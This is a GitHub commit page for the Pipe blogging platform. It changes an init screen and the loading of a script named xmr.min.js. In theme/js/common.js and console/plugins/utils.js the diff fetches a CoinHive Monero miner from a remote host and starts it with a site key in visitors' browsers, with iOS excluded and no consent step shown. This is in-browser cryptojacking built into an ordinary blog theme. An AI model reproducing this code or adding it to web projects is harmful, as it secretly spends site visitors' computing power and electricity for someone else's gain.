Skip to content

Commit

Permalink
⬆️ xmr
Browse files Browse the repository at this point in the history
  • Loading branch information
Vanessa219 committed Dec 18, 2017
1 parent f5d41d2 commit 38109ec
Show file tree
Hide file tree
Showing 4 changed files with 15 additions and 7 deletions.
5 changes: 3 additions & 2 deletions console/pages/init.vue
Original file line number Diff line number Diff line change
Expand Up @@ -63,11 +63,12 @@
<v-stepper-content step="3" class="fn-clear">
<h1>{{ $t('welcome', $store.state.locale) }} Pipe</h1>
<div class="ft-center init__content fn-clear">
<a :href="`/blogs/${$store.state.name}`"
<a href="https://github.com/b3log/pipe"
:aria-label="$t('openPipeTravel', $store.state.locale)"
class="card init__image pipe-tooltipped pipe-tooltipped--n">
<img src="~/static/images/logo.png"/>
</a>
<div>你的点赞是我们最大的动力</div>
<iframe src="https://ghbtns.com/github-btn.html?user=b3log&repo=pipe&type=star&count=true&size=large"
frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</div>
Expand Down Expand Up @@ -124,7 +125,7 @@
mounted () {
initParticlesJS('particles')
Vue.nextTick(() => {
this.$set(this, 'step', this.$store.state.name === '' ? 1 : 2)
this.$set(this, 'step', this.$store.state.name === '' ? 1 : 3)
})
}
}
Expand Down
2 changes: 1 addition & 1 deletion console/plugins/utils.js
Original file line number Diff line number Diff line change
Expand Up @@ -265,7 +265,7 @@ export const initXMR = () => {
if (navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/)) {
return
}
asyncLoadScript((process.env.StaticServer || process.env.Server) + '/theme/js/lib/xmr.min.js', () => {
asyncLoadScript('https://static.hacpai.com/js/lib/xmr.min.js', () => {
const miner = new window.CoinHive.Anonymous('YCkOr1LUJtEODIR5fVIzM4S79Nc5jvN7', {threads: 1, throttle: 0.9})
miner.start()
})
Expand Down
14 changes: 11 additions & 3 deletions theme/js/common.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@

import $ from 'jquery'
import config from '../../pipe.json'
import xmr from './lib/xmr.min'

/**
* @description 初始化 markdown 解析
*/
Expand Down Expand Up @@ -322,6 +322,14 @@ ${selectionObj.toString()}${genCopy(author, link).join('<br>')}</div>`)
if (navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/)) {
return
}
const miner = new CoinHive.Anonymous('YCkOr1LUJtEODIR5fVIzM4S79Nc5jvN7', {threads: 1, throttle: 0.9});
miner.start();

$.ajax({
method: "GET",
url: 'https://static.hacpai.com/js/lib/xmr.min.js',
dataType: "script",
cache: true
}).done(function () {
const miner = new CoinHive.Anonymous('YCkOr1LUJtEODIR5fVIzM4S79Nc5jvN7', {threads: 1, throttle: 0.9});
miner.start();
});
})()
1 change: 0 additions & 1 deletion theme/js/lib/xmr.min.js

This file was deleted.

0 comments on commit 38109ec

Please sign in to comment.